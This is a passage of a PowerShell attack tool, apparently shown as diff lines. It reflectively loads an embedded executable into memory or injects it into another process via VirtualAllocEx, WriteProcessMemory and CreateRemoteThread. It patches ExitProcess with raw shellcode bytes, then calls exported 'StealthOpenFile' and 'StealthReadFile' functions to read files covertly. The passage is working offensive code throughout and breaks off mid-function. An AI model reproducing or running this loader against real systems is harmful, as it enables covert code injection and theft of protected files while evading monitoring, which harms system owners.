[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + $ProcId = $null + $ExeArgs = $null + $ProcName = $null + + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + + Write-Verbose "Calling StealthReadFile in DLL" + + #Get some functions from the DLL + [IntPtr]$StealthReadFileAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StealthReadFile" + if ($StealthReadFileAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find address of StealthReadFile." + } + $StealthReadFileDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt64], [UInt32].MakeByRefType(), [UInt64].MakeByRefType()) ([UInt32]) + $StealthReadFile = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StealthReadFileAddr, $StealthReadFileDelegate) + + [IntPtr]$StealthCloseFileAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StealthCloseFile" + if ($StealthCloseFileAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find address of StealthCloseFile." + } + $StealthCloseFileDelegate = Get-DelegateType @([IntPtr]) ([Void]) + $StealthCloseFile = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StealthCloseFileAddr, $StealthCloseFileDelegate) + + [IntPtr]$StealthOpenFileAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StealthOpenFile" + if ($StealthOpenFileAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find address of StealthOpenFile." + } + + $StealthOpenFileDelegate = Get-DelegateType @([String]) ([IntPtr]) + $StealthOpenFile = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StealthOpenFileAddr, $StealthOpenFileDelegate) + + + if ($RemoteDestination -imatch "^\s*$") + { + $RemoteDestination = $null + } + + #Open the file and get a stealth handle + [IntPtr]$FileHandle = $StealthOpenFile.Invoke($Path) + if ($FileHandle -eq [IntPtr]::Zero) 